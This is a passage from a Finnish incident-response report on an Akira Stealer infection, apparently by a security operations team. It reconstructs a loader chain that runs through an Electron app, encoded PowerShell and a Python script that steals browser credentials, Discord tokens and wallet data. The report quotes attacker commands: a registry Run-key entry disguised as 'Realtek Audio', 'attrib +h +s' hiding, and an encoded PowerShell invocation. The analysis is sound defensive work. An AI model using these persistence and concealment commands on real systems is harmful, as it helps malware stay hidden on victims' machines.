isäntäkoneella — kattaen sisäiset järjestelmät, SaaS-alustat ja kriittiset kolmansien osapuolten toimittajat.",[526,818,819],{},"Reverse engineering -prosessi käynnistyi ensimmäisen rajaamisen jälkeen. Seuraavat luvut dokumentoivat teknisen syväsukelluksen, jolla tietomurtoa tutkittiin.",[748,821,823],{"id":822},"_13-vasteen-yhteenveto-nopea-läpinäkyvä-vaikuttavuuslähtöinen","1.3 Vasteen yhteenveto – nopea, läpinäkyvä, vaikuttavuuslähtöinen",[526,825,754],{},[526,827,828],{},"Vasteemme yhdisti nopeuden, asiantuntemuksen ja operatiivisen erinomaisuuden—tukenaan todennetut työnkulut ja täysi läpinäkyvyys asiakkaalle.",[631,830,831,837,843,849],{},[634,832,833,836],{},[568,834,835],{},"Havainnosta täyteen rajaamiseen alle 90 minuutissa","\nDefender-hälytykset, verkkoeristys, virustorjuntaskannaus ja tunnistetietojen mitätöinti toteutettiin nopeasti ja yhteen sovitettuina.",[634,838,839,842],{},[568,840,841],{},"Forensinen syväsukellusvaste 48 tunnissa","\nMukaan lukien täysi levy- ja muistianalyysi, selainartefaktien tarkastelu, tunnistetietojen dumppauksen havaitseminen ja hyökkääjän toiminnan käyttäytymispohjainen rekonstruointi.",[634,844,845,848],{},[568,846,847],{},"Turvallinen datan palautus ja todisteiden käsittely","\nVarastettu data—mukaan lukien evästeet, salasanat, tokenit ja selainprofiilit—palautettiin, arkistoitiin forensisesti ja luovutettiin asiakkaalle turvallisesti.",[634,850,851,854],{},[568,852,853],{},"Läpinäkyvyys ja viestintä päästä päähän","\nJokainen vaihe—ensimmäisestä hälytyksestä korjaustoimiin ja jälkipuintiin—dokumentoitiin täysin, jaettiin reaaliajassa ja tiivistettiin jäsenneltyyn CSIRT-luovutukseen.",[856,857,858],"blockquote",{},[526,859,860],{},"Tämä poikkeama havainnollistaa, miten glueckkanja CSOC ei vain pysäytä haittaohjelmia—vaan purkaa niiden vaikutukset, palauttaa hallinnan asiakkaillemme ja muuttaa jokaisen poikkeaman oivallukseksi.",[862,863],"div",{"className":864},[865,866],"space-top-1","space-bottom-1",[557,868,870],{"id":869},"_2-haittaohjelman-arkkitehtuuri-ja-suoritusketjun-yleiskuva","2. Haittaohjelman arkkitehtuuri ja suoritusketjun yleiskuva",[526,872,563],{},[526,874,875],{},"Kohteena olleella päätelaitteella havaittu haittaohjelma noudatti jäsenneltyä, monivaiheista arkkitehtuuria, jossa vastuut oli selkeästi eroteltu: jakelu, dekoodaus, suoritus ja datan exfiltraatio.",[748,877,879],{"id":878},"_21-suoritusketjun-yleiskuva","2.1 Suoritusketjun yleiskuva",[526,881,754],{},[526,883,884],{},"Havaittu suoritusvirta oli seuraava:",[526,886,602],{},[616,888,891],{"className":889,"code":890,"language":621},[619],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[579,892,890],{"__ignoreMap":530},[526,894,895],{},"Jokainen ketjun komponentti myötävaikutti huomaamattomuuteen, modulaarisuuteen ja havaitsemisen välttämiseen. Arkkitehtuuri hyödynsi laillisia ajoympäristöjä ja käyttöjärjestelmän vakiotulkkeja ohittaakseen havaitsemismekanismit.",[897,898,900],"h3",{"id":899},"_211-epävarma-alkuperä-puuttuva-alkuvektori","2.1.1 Epävarma alkuperä: puuttuva alkuvektori",[526,902,903],{},"{: .font-size-4}",[526,905,906,907,910,911,726],{},"Vaikka murron jälkeistä ympäristöä analysoitiin laajasti, alkuperäistä hyökkäysvektoria ei pystytty varmuudella määrittämään. Epävarmuus johtuu ensisijaisesti siitä, että haittaohjelma oli ollut aktiivinen arviolta ",[568,908,909],{},"kuusi kuukautta ennen havaitsemista"," — mikä ylittää ",[568,912,913],{},"Microsoft Defender for Endpointin lokien säilytysajan",[526,915,916],{},"Tämän seurauksena alkuperäisestä tartunta-ajankohdasta ei ollut saatavilla telemetriaa eikä forensisia artefakteja. Defenderin aikajanalta tai siihen liittyviltä antureilta ei ollut palautettavissa yhtään jakeluvaiheeseen liittyvää prosessin luontitapahtumaa, tiedostopudotusta tai komentorivimerkintää.",[526,918,919],{},"Kontekstuaalisten indikaattorien ja OSINT-lähteiden perusteella todennäköinen tartuntavektori on voinut liittyä seuraaviin:",[631,921,922,928,934],{},[634,923,924,927],{},[568,925,926],{},"Troijalaistetut asennusohjelmat"," krakatuille tai muokatuille pelisovelluksille",[634,929,930,933],{},[568,931,932],{},"Väärennetyt apuohjelmat"," tai \"suorituskyvyn parantajat\", joita jaetaan foorumeilla ja kolmansien osapuolten sivustoilla",[634,935,936,939],{},[568,937,938],{},"Haitalliset selainlaajennukset",", jotka kohdistuvat tiettyihin käyttäjän kiinnostuksen kohteisiin (esim. kryptotyökalut tai Discord-lisäosat)",[526,941,942],{},"Nämä jäävät kuitenkin spekulaatioksi.",[526,944,945,946,949],{},"Tutkinnassa ei pystytty tunnistamaan vahvistettua dropperia, tietojenkalasteluviestiä eikä murrettua verkkosivustoa. Vaikka haittaohjelman arkkitehtuuri ja suoritusketju rekonstruoitiin täysin, ",[568,947,948],{},"alkuperäistä murtokohtaa (MITRE ATT&CK T1190 / T1566)"," ei pystytty validoimaan.",[897,951,953,954,956],{"id":952},"_212-updaterexe-ensimmäisen-vaiheen-loader","2.1.2 ",[579,955,602],{}," – ensimmäisen vaiheen loader",[526,958,903],{},[526,960,961,962,964],{},"Kun tarkastelin prosessipuuta Microsoft 365 Defenderissä, ",[579,963,602],{}," erottui heti — ei sen takia, mitä se teki, vaan sen takia, miten hiljaisesti se upotti itsensä järjestelmän suoritusvirtaan.",[526,966,967],{},"Tämä binääri oli rekisteröity automaattiseen suoritukseen Windowsin vakiomuotoisen Run-avaimen kautta:",[616,969,972],{"className":970,"code":971,"language":621},[619],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[579,973,971],{"__ignoreMap":530},[526,975,976],{},"Se tarkoitti, että ohjelma käynnistyi joka kerta, kun käyttäjä kirjautui istuntoonsa — klassinen persistence-mekanismi, joka ei vaadi korotettuja oikeuksia ja livahtaa usein huomaamatta EDR-telemetrian läpi.",[631,978,979,985,991,997,1003],{},[634,980,981,984],{},[568,982,983],{},"Tiedostotyyppi",": Windows PE -suoritettava (32-bittinen)",[634,986,987,990],{},[568,988,989],{},"Allekirjoitus",": Allekirjoittamaton",[634,992,993,996],{},[568,994,995],{},"VirusTotal-havainto",": 1/69 moottoria triagen hetkellä",[634,998,999,1002],{},[568,1000,1001],{},"Suorituskonteksti",": Keskitason eheys, käyttäjäistunto",[634,1004,1005,1008,1009],{},[568,1006,1007],{},"Sijainti",": ",[579,1010,1011],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[526,1013,1014],{},"Tiedosto itsessään oli pieni, siististi käännetty ja staattisen analyysin näkökulmasta huomaamaton. Ei epäilyttäviä merkkijonoja, ei salattuja osioita eikä merkkejä obfuskoinnista tai pakkaamisesta. Se toi mukanaan vain vähäisen joukon Windowsin vakio-API-funktioita eikä sisältänyt upotettua payloadia.",[526,1016,1017,1018,1020,1021,1023],{},"Sen käyttäytyminen oli kuitenkin paljastavampaa. Käynnistyttyään ",[579,1019,602],{}," purki Electron-sovelluksen mukana tulleesta arkistosta — itsenäisen NodeJS-ajoympäristön, joka oli paketoitu Electronin vakiotyökaluilla. Purettu kansio sisälsi suoritettavan tiedoston nimeltä ",[579,1022,606],{},", joka käynnistettiin sen jälkeen lapsiprosessina.",[616,1025,1028],{"className":1026,"code":1027,"language":621,"meta":530},[619],"Updater.exe → main.exe\n",[579,1029,1027],{"__ignoreMap":530},[526,1031,1032,1033,1035,1036,1038],{},"Tässä vaiheessa ei esiintynyt verkkoindikaattoreita, prosessi-injektiota eikä poikkeamia oikeuksissa tai tokenin korotuksessa. ",[579,1034,602],{},":n koko rooli näytti olevan loader — toisen vaiheen komponentin (",[579,1037,606],{},") toimittaminen ympäristöön, todennäköisesti huomaamattomuuden ja modulaarisuuden ylläpitämiseksi.",[526,1040,1041],{},"Tällainen arkkitehtoninen erottelu on yleistä nykyaikaisissa massahaittaohjelmissa ja stealer-työkalupakeissa. Ensimmäisen vaiheen loader toimii vain jakelutynkänä, jolloin raskaampi logiikka — usein obfuskoitu, tulkattu tai dynaamisesti generoitu — voidaan sijoittaa myöhempiin vaiheisiin.",[526,1043,1044,1045,1047,1048,1050,1051,1053],{},"Tässä tapauksessa ",[579,1046,602],{}," palveli juuri tätä tarkoitusta: hiljainen ensimmäinen jalansija, joka oli suunniteltu sulautumaan taustaan, pysymään havaitsematta ja raivaamaan tietä varsinaisen stealer-logiikan suoritukselle ",[579,1049,606],{},":ssä ja lopulta ",[579,1052,610],{},":ssä.",[526,1055,1056],{},"Se ei koskenut tiedostojärjestelmään oman hakemistonsa ulkopuolella eikä laukaissut yhtäkään käyttäytymissääntöä — ja silti se oli ensimmäinen domino pitkässä ja huolellisesti rakennetussa hyökkäysketjussa.",[897,1058,1060,1061,1063],{"id":1059},"_213-mainexe-obfuskoitu-nodejs-payloadin-säiliö","2.1.3 ",[579,1062,606],{}," – obfuskoitu NodeJS-payloadin säiliö",[526,1065,903],{},[526,1067,1068,1070,1071,1073],{},[579,1069,602],{},":n suorituksen jälkeen käynnistettiin toisen vaiheen binääri nimeltä ",[579,1072,606],{},". Tämä komponentti esiintyi tavallisena Electron-sovelluksena — ajoympäristönä, joka niputtaa yhteen Node.js:n ja Chromiumin ja jota käytetään usein alustariippumattomissa työpöytäsovelluksissa. Sen vaarattomuus on osa sitä, mikä tekee siitä vääriin käsiin joutuessaan niin vaarallisen.",[526,1075,1076,1077,1079,1080,1083],{},"Tarkastelussa ",[579,1078,606],{}," sisälsi sisäisen arkiston nimeltä ",[579,1081,1082],{},"app.asar"," — Electron-pohjaisten sovellusten vakiopaketointimuodon. Toisin kuin laillisissa Electron-sovelluksissa, tämän arkiston sisältö oli kaikkea muuta kuin tavanomainen.",[631,1085,1086,1092,1098,1107],{},[634,1087,1088,1091],{},[568,1089,1090],{},"Alusta",": Electron (Node.js + Chromium)",[634,1093,1094,1097],{},[568,1095,1096],{},"Arkkitehtuuri",": 64-bittinen Windows",[634,1099,1100,1103,1104,1106],{},[568,1101,1102],{},"Sisällön rakenne",": Upotetut JavaScript-tiedostot ",[579,1105,1082],{},"-arkistossa",[634,1108,1109,1112,1113,1116],{},[568,1110,1111],{},"Obfuskoinnin taso",": Korkea — toteutettu ",[579,1114,1115],{},"js-confuser","-työkalulla, kaupallisesti saatavilla olevalla JavaScriptin obfuskointipaketilla",[526,1118,1119,1120,1122],{},"Kun ",[579,1121,606],{}," oli purettu ja obfuskointi poistettu, sen ydinlogiikka kävi ilmi. Sen tarkoitus ei ollut näyttää käyttöliittymää tai suorittaa mitään frontend-logiikkaa — sen sijaan se toimi piilotettuna suorituksen orkestroijana.",[526,1124,1125],{},[568,1126,1127],{},"Havaittu käyttäytyminen:",[631,1129,1130,1133,1140],{},[634,1131,1132],{},"Purkaa ja kokoaa uudelleen Base64-koodatun PowerShell-komennon, joka on tallennettu JavaScript-payloadiin",[634,1134,1135,1136,1139],{},"Käynnistää ",[579,1137,1138],{},"cmd.exe",":n suorittaakseen PowerShell-komennon sisäisesti",[634,1141,1142,1143,1145,1146,1149],{},"PowerShell-komento puolestaan kutsuu ",[579,1144,581],{},":ä ja välittää sille skriptin, joka sijaitsee näennäisen viattomassa hakemistorakenteessa (",[579,1147,1148],{},"Crypto\\Util\\astor.py",")",[616,1151,1154],{"className":1152,"code":1153,"language":621,"meta":530},[619],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[579,1155,1153],{"__ignoreMap":530},[526,1157,1158],{},"Tämä ketjutus antoi hyökkääjälle mahdollisuuden vaihtaa suorituskontekstia ja välttää suoraviivaisen havaitsemisen. Koska payload oli obfuskoitu ja vaiheistettu muistiin, perinteiset signatuuripohjaiset kontrollit olivat tehottomia.",[526,1160,1161],{},"Electron-kehys tarjosi ihanteellisen suojan — se salli mielivaltaisen JavaScriptin suorittamisen herättämättä huomiota. JavaScript-pohjainen suoritus toi mukanaan myös alustariippumattomuuden, mikä mahdollisti joustavan käyttöönoton ja dynaamisen ohjauslogiikan helpomman integroinnin.",[526,1163,1164,1166],{},[579,1165,606],{},":stä teki erityisen vaarallisen sen kyky toimia pudottamatta yhtään lisätiedostoa sen lisäksi, mitä oli jo vaiheistettu. Stealer-skripti kutsuttiin suoraan levyltä, mutta kaikki vaiheistus- ja suorituslogiikka pysyi upotettuna Electron-pakettiin.",[526,1168,1169,1170,1172,1173,1053],{},"Yhteenvetona ",[579,1171,606],{}," toimi obfuskoituna, monikerroksisena suorituksen ytimenä — porttivartijana ensimmäisen persistencen ja Akira Stealerin payloadin täyden aktivoinnin välillä ",[579,1174,610],{},[897,1176,1178,1179,1181],{"id":1177},"_214-cmdexe-ja-powershell-välitys","2.1.4 ",[579,1180,1138],{}," ja PowerShell-välitys",[526,1183,903],{},[526,1185,1186],{},"Tämä suoritusketjun vaihe toimi välityksenä — ei payload-logiikan, vaan obfuskoinnin ja epäsuoruuden vuoksi.",[526,1188,1119,1189,1191,1192,1194,1195,726],{},[579,1190,606],{}," oli hoitanut oman roolinsa payloadin purkamisessa ja dekoodauksessa, se käynnisti ",[579,1193,1138],{},"-prosessin. Tämä prosessi ei itsessään sisältänyt haitallista logiikkaa eikä kirjoittanut tai muokannut tiedostoja. Sen ainoa tarkoitus oli toimia kääreenä, joka käynnistää PowerShell-istunnon ",[568,1196,1197],{},"koodatulla komennolla",[526,1199,1200],{},"Tämä menetelmä on tunnettu taktiikka näkyvyyden vähentämiseen ja havaitsemisen välttämiseen:",[631,1202,1203,1215],{},[634,1204,1205,1208,1209],{},[568,1206,1207],{},"Suoritusketju",":",[616,1210,1213],{"className":1211,"code":1212,"language":621},[619],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[579,1214,1212],{"__ignoreMap":530},[634,1216,1217,1208,1220],{},[568,1218,1219],{},"Tarkoitus",[631,1221,1222,1225,1228],{},[634,1223,1224],{},"Kapseloi PowerShell-suorituksen ylimääräiseen komentotulkkiin",[634,1226,1227],{},"Piilottaa varsinaisen PowerShell-koodin suoralta näkyvyydeltä lokeissa",[634,1229,1230,1231,1234],{},"Välttää EDR-ratkaisut, jotka reagoivat suoraan ",[579,1232,1233],{},"powershell.exe",":n käyttöön epäilyttävillä parametreilla",[526,1236,1237,1238,1240],{},"Upottamalla PowerShell-skriptin Base64-koodattuna merkkijonona ja kutsumalla sitä ",[579,1239,1138],{},":n kautta hyökkääjä vältti useita havaitsemismuotoja:",[631,1242,1243,1248,1253],{},[634,1244,1245],{},[568,1246,1247],{},"Komentorivin heuristiset suodattimet",[634,1249,1250],{},[568,1251,1252],{},"Vakiolokitus (esim. Event ID 4104, 4688)",[634,1254,1255],{},[568,1256,1257,1258,1260,1261,647,1264,1267],{},"Sääntöpohjaiset havainnot ",[579,1259,1233],{},":n argumenteille, kuten ",[579,1262,1263],{},"-NoProfile",[579,1265,1266],{},"-ExecutionPolicy Bypass"," tai sisäiset skriptit",[526,1269,1270,1271,1273,1274,1276],{},"Huomionarvoista on, että PowerShell-komento pidettiin minimaalisena ja keskittyi yksinomaan ",[579,1272,581],{},":n käynnistämiseen polulla upotettuun stealer-skriptiin — ",[579,1275,610],{},". Lisämoduuleja ei ladattu, eikä muistissa esiintynyt ilmeisiä signatuureja.",[526,1278,1279],{},"Tätä välitystekniikkaa käytetään usein sekä red teamingissä että kehittyneissä infostealereissä — se on kevyt väistökerros, joka on helppo toteuttaa mutta vaikea napata kiinni ilman telemetrian korrelointia.",[526,1281,1044,1282,1284],{},[579,1283,1138],{}," palveli juuri tätä tarkoitusta: yksinkertainen, hiljainen silta JavaScript-logiikan ja Python-suorituksen välillä — sellainen, joka lähes livahti huomaamatta ohi.",[897,1286,1288,1289,1291,1292],{"id":1287},"_215-pythonexe-ja-astorpy","2.1.5 ",[579,1290,581],{}," ja ",[579,1293,610],{},[526,1295,903],{},[526,1297,1298,1299,1301,1302,1304],{},"Suoritusketjun viimeinen ja vaikuttavin vaihe saavutettiin, kun ",[579,1300,581],{}," kutsui ",[579,1303,610],{},":tä — Python-pohjaista, modulaarista infostealeriä, joka toimi kokonaan muistissa. Tämä skripti oli koko hyökkäysketjun operatiivinen ydin.",[526,1306,1307,1308,1310],{},"Toisin kuin monet massastealerit, ",[579,1309,610],{},":tä ei toimitettu selkokielisenä. Sitä suojasi monikerroksinen salauksenpurkumekanismi:",[631,1312,1313,1326],{},[634,1314,1315,1318,1319,1322,1325],{},[568,1316,1317],{},"Salauspino",": Tiedosto pakattiin ensin GZIP-muotoon ja salattiin sen jälkeen ",[568,1320,1321],{},"AES-256-CBC",[1323,1324],"ll",{},"ä.",[634,1327,1328,1331],{},[568,1329,1330],{},"Avaimen johtaminen",": Käytössä oli PBKDF2-pohjainen avaimenjohtamisprosessi (SHA-512, 1 000 000 iteraatiota), mikä teki staattisesta analyysistä ja raa'an voiman murtamisesta erittäin epäkäytännöllistä.",[526,1333,1334],{},"Kun skripti oli purettu ajonaikaisesti, se suoritti useita erikoistuneita moduuleja, jotka kaikki kohdistuivat arkaluonteisiin tietolähteisiin:",[526,1336,1337],{},[568,1338,1339],{},"Ydintoiminnot",[631,1341,1342,1348,1358,1368],{},[634,1343,1344,1347],{},[568,1345,1346],{},"Selaindatan poiminta",": Haki kirjautumistiedot, evästeet ja automaattisen täytön tiedot Chromium-pohjaisista selaimista (Chrome, Edge, Brave, Opera)",[634,1349,1350,1353,1354,1357],{},[568,1351,1352],{},"Tokenien keruu",": Keräsi istuntotokeneja erityisesti ",[568,1355,1356],{},"Discordista"," ja etsi kryptolompakkolaajennuksia",[634,1359,1360,1363,1364,1367],{},[568,1361,1362],{},"Datan paketointi",": Kokosi kaiken kerätyn datan jäsenneltyyn ",[568,1365,1366],{},"ZIP-arkistoon"," säilyttäen hakemisto- ja tiedostokontekstin hyökkääjän puolella tehtävää jäsentämistä varten",[634,1369,1370,1373],{},[568,1371,1372],{},"Exfiltraatio",": Lähetti syntyneen arkiston julkisiin API-rajapintoihin ja infrastruktuuriin.",[526,1375,1376],{},[568,1377,1001],{},[526,1379,1380],{},"Koko stealer-logiikka suoritettiin muistista, eikä levylle kirjoitettu pysyviä tiedostoja. Se jätti minimaalisesti telemetriajälkiä prosessin sisäisten muistiartefaktien ja tavanomaisen aliprosessikutsun lisäksi. Tässä vaiheessa ei yritetty luoda persistenceä — tavoitteena oli nopea, tehokas ja hiljainen tietovarkaus.",[526,1382,1383],{},"Laillisten API-rajapintojen käyttö exfiltraatioon teki myös havaitsemisesta ja estämisestä merkittävästi vaikeampaa, sillä ulospäin suuntautuva liikenne sulautui tavanomaiseen internetkäyttöön.",[526,1385,1386,1387,1389],{},"Tämä vaihe vahvisti lopulta haittaohjelman identiteetin: kyseessä oli ",[568,1388,677],{}," -variantti, joka tunnetaan seuraavista:",[631,1391,1392,1395,1398,1401],{},[634,1393,1394],{},"Korkea modulaarisuus",[634,1396,1397],{},"Ajonaikainen obfuskointi",[634,1399,1400],{},"Kaupallinen jakelu Telegramin kautta",[634,1402,1403],{},"Vahva keskittyminen tunnistetietojen keruuseen ja token-pohjaiseen istuntojen kaappaukseen",[526,1405,1406,1407,1409],{},"Yhdessä aiempien vaiheiden kanssa ",[579,1408,610],{}," muodosti huomaamattoman ja hyvin suunnitellun infostealer-ketjun kriittisen päätepisteen. Seuraavissa luvuissa pilkomme tämän komponentin tarkemmin osiin ja kerromme, miten käänsimme sen logiikan takaisin, kartoitimme sen infrastruktuurin ja palautimme jokaisen sen toiminnassa käytetyn kompromissi-indikaattorin.",[557,1411,1413,1414],{"id":1412},"_3-deep-dive-updaterexe","3. Deep Dive: ",[579,1415,602],{},[526,1417,563],{},[526,1419,1420,1422],{},[579,1421,602],{}," oli ensimmäinen binääri, joka havaittiin murron jälkeisessä analyysissä. Neutraalista ulkoasustaan ja olemattomasta havaintojalanjäljestään huolimatta sillä oli kriittinen rooli haittaohjelman operatiivisen persistencen ylläpidossa ja seuraavan vaiheen payloadin toimittamisessa.",[748,1424,1426],{"id":1425},"_31-ominaisuudet","3.1 Ominaisuudet",[526,1428,754],{},[1430,1431,1432,1445],"table",{},[1433,1434,1435],"thead",{},[1436,1437,1438,1442],"tr",{},[1439,1440,1441],"th",{},"Ominaisuus",[1439,1443,1444],{},"Arvo",[1446,1447,1448,1459,1469,1479,1489,1499],"tbody",{},[1436,1449,1450,1456],{},[1451,1452,1453],"td",{},[568,1454,1455],{},"Muoto:",[1451,1457,1458],{},"Windows Portable Executable (PE32)",[1436,1460,1461,1466],{},[1451,1462,1463],{},[568,1464,1465],{},"Arkkitehtuuri:",[1451,1467,1468],{},"x86-64",[1436,1470,1471,1476],{},[1451,1472,1473],{},[568,1474,1475],{},"Koko:",[1451,1477,1478],{},"~154 KB",[1436,1480,1481,1486],{},[1451,1482,1483],{},[568,1484,1485],{},"Entropia:",[1451,1487,1488],{},"Normaali (ei pakattu)",[1436,1490,1491,1496],{},[1451,1492,1493],{},[568,1494,1495],{},"Allekirjoitukset:",[1451,1497,1498],{},"Ei mitään",[1436,1500,1501,1506],{},[1451,1502,1503],{},[568,1504,1505],{},"VirusTotal-osuma:",[1451,1507,1508],{},"1/69 analyysin hetkellä",[526,1510,1511],{},"Tiedostossa oli siisti import-taulukko eikä upotettuja merkkijonoindikaattoreita. Tunnettuja pakkaajia, kryptereitä tai ajonaikaisia obfuskointimekanismeja ei havaittu. Rakenne vastasi itse käännettyjä binäärejä.",[748,1513,1515],{"id":1514},"_32-käyttäytymisanalyysi","3.2 Käyttäytymisanalyysi",[526,1517,754],{},[526,1519,1520],{},[568,1521,1522],{},"Ei vaadi käyttäjän toimia",[526,1524,1525,1526,1528],{},"Haittaohjelmaketju suoritettiin ilman minkäänlaista käyttäjän toimintaa. Defenderin prosessitelemetrian perusteella ensimmäinen binääri (",[579,1527,602],{},") käynnistettiin automaattisesti — todennäköisimmin persistence-mekanismin, kuten rekisterin autorun-avaimen, kautta. Murron iän ja historiallisten tapahtumalokien puuttumisen vuoksi tarkkaa persistence-menetelmää ei kuitenkaan pystytty palauttamaan.",[526,1530,1531],{},[568,1532,1533],{},"Hiljainen suoritus ja vaiheistus",[526,1535,1536,1537,1539,1540,1542],{},"Suorituksen käynnistyttyä ",[579,1538,602],{}," käynnisti välittömästi ",[579,1541,606],{},":n ilman näkyvää ikkunaa ja ilman käyttäjälle esitettyjä kysymyksiä. Vaiheistus tapahtui hiljaa taustalla. Käyttäjän suostumusdialogeista, UAC-kehotteista tai käyttöliittymäkomponenteista ei ollut merkkejä.",[526,1544,1545],{},[568,1546,1547],{},"Payloadin toimituskäyttäytyminen",[526,1549,1550,1552],{},[579,1551,606],{}," todettiin osaksi Electron-sovellusrakennetta, mutta sen toimituksen tarkka alkuperä jää epäselväksi. Yhtä seuraavista pidetään oletuksena:",[631,1554,1555,1561],{},[634,1556,1557,1558,1560],{},"Payload on saattanut olla niputettu ",[579,1559,602],{},":n sisälle (esim. upotettuna resurssina), tai",[634,1562,1563],{},"se on saatettu hakea etälähteestä",[526,1565,1566],{},"Verkkotelemetrian puutteen ja palautetun kovakoodatun URL-osoitteen puuttumisen vuoksi Electron-sovelluksen toimitusvektori jää epäselväksi.",[526,1568,1569],{},[568,1570,1571],{},"Prosessiketjun käyttäytyminen",[526,1573,1536,1574,1576,1577,1579],{},[579,1575,602],{}," käynnisti ",[579,1578,606],{},":n lapsiprosessina. Kutsu oli ei-interaktiivinen, eikä yksikään ketjussa käynnistetty prosessi osoittanut käyttöliittymätoimintaa. Prosessiketju jatkui odotetusti:",[616,1581,1584],{"className":1582,"code":1583,"language":621},[619],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[579,1585,1583],{"__ignoreMap":530},[526,1587,1588],{},"Kaikki suoritusvaiheet toimivat ilman käyttäjän syötettä, ja ne nojasivat yksinomaan ennalta määritettyyn käynnistyslogiikkaan ja hiljaisiin suorituspolkuihin. Tämä minimoi altistumisen ja auttoi haittaohjelmaa pysymään havaitsematta pitkän ajan.",[748,1590,1592],{"id":1591},"_33-rooli-tartuntaketjussa","3.3 Rooli tartuntaketjussa",[526,1594,754],{},[526,1596,1597,1599,1600,1603,1604,1606],{},[579,1598,602],{},":llä oli ",[568,1601,1602],{},"yksi mutta olennainen rooli"," laajemmassa tartuntaketjussa: se vastasi toisen vaiheen komponentin, ",[579,1605,606],{},":n, persistencestä ja uudelleentoimituksesta.",[526,1608,1609],{},[568,1610,1611],{},"Vahvistetut ominaisuudet",[631,1613,1614,1621,1626],{},[634,1615,1616,1617,1620],{},"Se ",[568,1618,1619],{},"ei"," sisältänyt tai suorittanut haitallista logiikkaa suoraan",[634,1622,1616,1623,1625],{},[568,1624,1619],{}," suorittanut datan exfiltraatiota",[634,1627,1616,1628,1630],{},[568,1629,1619],{}," ollut vuorovaikutuksessa selaimien tunnistetietovarastojen tai arkaluonteisten käyttäjätietojen kanssa",[526,1632,1633,1634,1636],{},"Sen ainoa tarkoitus oli käynnistää ",[579,1635,606],{}," hiljaa käyttäjän kirjautumisen yhteydessä käyttäen rekisterin autorun-merkintää todennäköisimpänä persistence-menetelmänä (vaikka sitä ei telemetrian rajoitusten vuoksi suoraan palautettu).",[526,1638,1639,1640,1642,1643,1645],{},"Toimiessaan erillisenä ensimmäisen vaiheen loaderina ",[579,1641,602],{}," varmisti, että varsinainen stealer-payload (",[579,1644,610],{},") pysyi kätkettynä suorituksen syvempiin kerroksiin. Tämä työnjako antoi hyökkääjille mahdollisuuden:",[631,1647,1648,1651,1654],{},[634,1649,1650],{},"Välttää korreloinnin staattisissa virustorjunta- tai sandbox-järjestelmissä",[634,1652,1653],{},"Vaihtaa tai päivittää payloadeja muokkaamatta loaderia",[634,1655,1656],{},"Vähentää käyttäytymissignaaleja sisääntulopisteessä",[526,1658,1659,1660,1663],{},"Tämä kuvio on tyypillinen ",[568,1661,1662],{},"malware-as-a-service (MaaS)"," -toiminnassa, jossa jakelumekanismit ovat geneerisiä ja payloadit modulaarisia tai asiakaskohtaisia.",[526,1665,1044,1666,1668],{},[579,1667,602],{}," tarjosi juuri sen verran logiikkaa, että se toimi luotettavana ja huomaamattomana sisääntulopisteenä — ei enempää, mutta ei myöskään vähempää.",[748,1670,1672],{"id":1671},"_34-persistence-rekisterin-kautta-vahvistettu-astorpyssä","3.4 Persistence rekisterin kautta (vahvistettu astor.py:ssä)",[526,1674,754],{},[526,1676,1677,1678,1680],{},"Python-payloadin staattinen analyysi paljasti, että ",[579,1679,602],{},":n persistence on toteutettu eksplisiittisesti rekisterin autorun-merkinnällä:",[631,1682,1683,1691,1699],{},[634,1684,1685,1008,1688],{},[568,1686,1687],{},"Rekisteripolku",[579,1689,1690],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[634,1692,1693,1008,1696],{},[568,1694,1695],{},"Arvon nimi",[579,1697,1698],{},"Realtek Audio",[634,1700,1701,1008,1704],{},[568,1702,1703],{},"Payloadin polku",[579,1705,1706],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[526,1708,1709],{},"Vastaava rekisterikomento suoritetaan PowerShellin kautta:",[616,1711,1715],{"className":1712,"code":1713,"language":1714,"meta":530,"style":530},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[579,1716,1717],{"__ignoreMap":530},[1718,1719,1722],"span",{"class":1720,"line":1721},"line",1,[1718,1723,1713],{},[526,1725,1726],{},"Tämä varmistaa, että haittaohjelma käynnistyy jokaisen käyttäjän kirjautumisen yhteydessä. Tiedosto merkitään myös hidden- ja system-attribuuteilla havaitsemisen välttämiseksi entisestään:",[616,1728,1730],{"className":1712,"code":1729,"language":1714,"meta":530,"style":530},"attrib +h +s \"Updater.exe\"\n",[579,1731,1732],{"__ignoreMap":530},[1718,1733,1734],{"class":1720,"line":1721},[1718,1735,1729],{},[526,1737,1738],{},"Tämä persistence-mekanismi oli upotettu suoraan astor.py-koodiin, mikä vahvistaa, että viimeisen vaiheen stealer ylläpitää aktiivisesti loaderin läsnäoloa levyllä ja käynnistysrekisterissä.",[748,1740,1742],{"id":1741},"_35-yhteenveto","3.5 Yhteenveto",[526,1744,754],{},[856,1746,1747],{},[526,1748,1749,1750,1752],{},"Vaikka ",[579,1751,602],{}," ei ollut rakenteensa tai sisältönsä puolesta luonnostaan haitallinen, sen kontekstuaalinen käyttäytyminen suoritusketjussa vahvisti sen roolin haittaohjelman loaderina.",[862,1754],{"className":1755},[865],[526,1757,1758],{},"Tämä binääri toimi siistinä, minimalistisena ensimmäisen vaiheen käynnistäjänä — välttäen havaitsemisen staattisessa analyysissä, virustorjuntamoottoreissa ja käyttäytymissäännöissä. Sen suunnittelu keskittyi puhtaasti huomaamattomuuteen ja operatiiviseen tukeen, ei haitallisen logiikan suorittamiseen itse.",[526,1760,1761,1762,1764,1765,1767,1768,1771],{},"Sen rooli ulottui kuitenkin ensimmäistä toimitusta pidemmälle. ",[579,1763,610],{},"-payloadin reverse engineeringin aikana tunnistimme logiikan, joka tarkisti aktiivisesti ",[579,1766,602],{},":n läsnäolon. Tämä tarkistus oli osa laajempaa ",[568,1769,1770],{},"terveys- ja itsekorjautumissykliä",", joka oli toteutettu stealer-koodiin — mekanismi, jonka tarkoitus oli varmistaa tartuntaketjun eheys ja palauttaa puuttuvat komponentit tarvittaessa.",[526,1773,1774,1775,1777,1778,1781],{},"Tämä tarkoittaa, että ",[579,1776,602],{}," ei vastannut vain haittaohjelman 